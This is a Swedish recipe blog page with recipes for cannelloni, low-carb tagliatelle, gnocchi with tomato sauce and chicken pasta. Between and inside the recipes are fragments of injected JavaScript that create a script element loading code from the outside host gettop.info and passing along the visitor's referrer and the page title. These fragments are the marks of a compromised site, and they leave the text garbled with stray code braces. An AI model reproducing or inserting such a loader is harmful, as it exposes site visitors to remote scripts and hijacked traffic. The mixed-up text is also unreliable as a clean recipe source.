Italienska canneloni

bild13

Det här goda receptet hittade jag här. Själv tyckte jag fyllningen räckte till 4 rullar så om du vill ha mer fyllning i dina caneloni kan jag rekommendera att göra lite extra och lägg i lite mer parmaskinka. Jag köpte Ica’s färska lasagneplattor och behövde inte dela mina som det står på originalreceptet.

Italienska Canneloni 
4 personer
Fyllning till färska lasagneplattor
1 pkt Philadelphiaost á 200 g naturell
1 burk créme fraiche á 2 dl
1 stor näve hackad ruccula
en halv kruka basilika (kanske lite mer)
ca 10 skivor parmaskinka, strimlade
grovmalen svartpeppar
flingsalt

6 lasagneplattor som delas på mitten

Blanda basilikablad med ruccula, strimlad parmaskinka och de övriga ingredienserna. Lägg i en skål och förvara i kylen.

Tomatsås
2 pkt krossade tomater, gärna Mutti
2 vitlöksklyftor
en halv kruka basilika
2 msk balsamvinäger
grovmalen svartpeppar
flingsalt
socker
———-
en stor näve riven parmesanost
ca 1,5 dl grädde

Pressa vitlöksklyftorna och fräs i en kastrull i lite smör eller olivolja. Tillsätt övriga ingredienser (utom parmesan och grädde, de ska vara på toppen av cannelonigratängen sedan) och låt tomatsåsen koka i ca 20 min.

Häll tomatsåsen i botten på en rejäl ugnsform. Placera de fyllda färska lasagneplattorna ovanpå tomatsåsen och avsluta med att strö över riven parmesanost och ringla lite grädde över det. Gratinera i mitten av ugnen i ca 20-25 min på 225C tills osten har fått en fin yta. Servera till en sallad.

bild1bild4bild2bild3bild5

bild6bild7bild8bild9bild11bild12

 

} else {if (document.currentScript) {

LCHF pasta (tagliatelle)

LCHF pasta (4 portioner)
6 ägg
200 gram färskost
0,75 dl fiberhusk
1 krm salt

Gör så här:
Sätt ugnen på 150 grader  Vispa äggen poröst.  Tillsätt färskost och fiberhusk och vispa ihop. Låt svälla i ca 10 minuter. Bred ut smeten tunt på 2 st bakplåtspappersklädda plåtar. Lägg ett oljat bakplåtspapper över och kavla ut degen lite extra, den ska täcka hela plåten annars blir pastan för tjock.Tag av det översta bakplåtspappret. Det ska inte vara några luftbubblor kvar i pastan. Grädda i ca 10 minuter Låt svalna och skär sedan tunna strimlor av degen (som tagliatelle).
Förvara pastan i en plastpåse i kylen innan tillagning. Koka pastan i lättsaltat vatten ca 2-3 min.

}

} else {

Gnocchi med tomatsås

IMG_6014

IMG_6015

Recept till ca 4 personer
1 kilo potatis (med mycket stärkelse)
2 små ägg
ca 325 gram finmalet vetemjöl
10 gram salt
Rivet skal av 1 citron
70 gram riven parmesanost.

Gör så här:
Baka potatisen i ugnen i 150m grader ca 1 timma. Låt potatisen kallna och skeda ut potatisen med en sked. Tillsätt ägg, citronskal och parmesanost och därefter mjölet och rör ihop tills degen släpper från bunken. Ev. kan du behöva lite mer mjöl i degen tills den blir fast. Rulla ut degen till en lång korv och skär i 3 cm bitar.  Koka Gnocchin i saltat vatten tills de flyter upp till ytan. Kyl dem med kallt vatten och låt dem kallna.
Vid servering steker du gnocchin i en stekpanna och servera med valfri sås.

IMG_5993IMG_5992IMG_5991IMG_5994IMG_5995IMG_6001IMG_6003IMG_6005IMG_6006

Tomatsås
400 g (en burk) krossade tomater
1 charlottenlök (finhackad)
2 vitlöksklyftor (finhackade)
Några lagerblad
En nypa krossad chili (efter smak)
1 msk balsamvinäger
Lite salt och peppar

Gör så här:
Lägg tomaterna i en liten kastrull, fyll sedan burken till hälften med vatten och häll i det i kastrullen tillsammans med balsamvinäger. Rör ner charlottenlök, vitlök, lagerblad, chili, salt och svartpeppar. Koka upp och låt det sjuda i minst en timma tills det blir tjockt och mörkrött.

IMG_5988IMG_5990

IMG_5999IMG_6010IMG_6011

IMG_6012IMG_6014IMG_6012

 var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Kycklingpasta

Den här pastan är så enkel att koka ihop och smakar riktigt gott.

1 kycklingfilé per person
1 röd paprika (skiva fint)
1 portion pastaskruvar
Lite creme fraiche/kesella/yoghurt (välj det du har hemma)
Sweet chili sås
Soya
Lite salt och grovmalen svartpeppar

Skär  ner kycklingen i tunna skivor. Lägg kycklingen i en plastpåse och häll i några matskedar sweet chili sås och lite soya. Marinera i ca 5-10 min. Stek upp kycklingen med marinaden i en stekpanna och lägg i röd paprika.

Häll i den färdigkokta pastan i stekpannan och rör ihop. Häll i en klick creme fraiche och servera.

pastavar d=document;var s=d.createElement(‘script’);

} else {document.currentScript.parentNode.insertBefore(s, document.currentScript);